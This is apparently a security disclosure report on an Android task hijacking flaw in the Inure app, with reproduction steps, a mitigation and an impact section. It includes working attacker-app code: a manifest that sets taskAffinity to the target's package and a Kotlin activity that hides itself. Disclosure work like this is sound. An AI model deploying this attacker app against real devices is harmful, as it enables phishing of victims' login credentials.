Description

Task hijacking allows malicious apps to inherit permissions of vulnerable apps and is usually used for phishing login credentials of victims. This vulnerability applies to all Android versions before Android 11.

Steps To Reproduce:

1. Victim installs malicious app
2. Victim starts malicious app (could also be a background service)
3. Victim opens legitimate app (Inure app) which the malicious app can intercept.

Video Proof of Concept

Video POC

Mitigation

To prevent this attack you will need to set taskAffinity property of the application activities to taskAffinity= "" in the <activity> tag of the AndroidManifest.xml to force the activities to use a randomly generated task affinity, or set it at the <application> tag to enforce on all activities in the application.

Attacker App Code

Android Manifest

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.m0ck3d.taskhijackingattackapp"
    tools:ignore="ExtraText">

    <application
        android:allowBackup="true"
        android:icon="@drawable/daverage"
        android:label="AttackAppTaskHijacking"
        android:roundIcon="@drawable/daverage"
        android:supportsRtl="true"
        android:theme="@style/Theme.Taskhijackingattackapp"
        android:taskAffinity="app.simple.inure">
        <activity
            android:name=".MainActivity"  android:launchMode="singleTask" android:excludeFromRecents="true"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Main Activity

import android.os.Bundle
import android.content.Intent;
import androidx.appcompat.app.AppCompatActivity


class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        moveTaskToBack(true);
    }
    override fun onResume() {
        super.onResume()
        setContentView(R.layout.activity_main)
    }
}

Impact

Due to a misconfiguration in the Android manifest file, it was possible to a perform a task hijacking attack. An attacker could create a malicious mobile application which could hijack a legitimate app and steal any potential sensitive information when installed on the victim's device.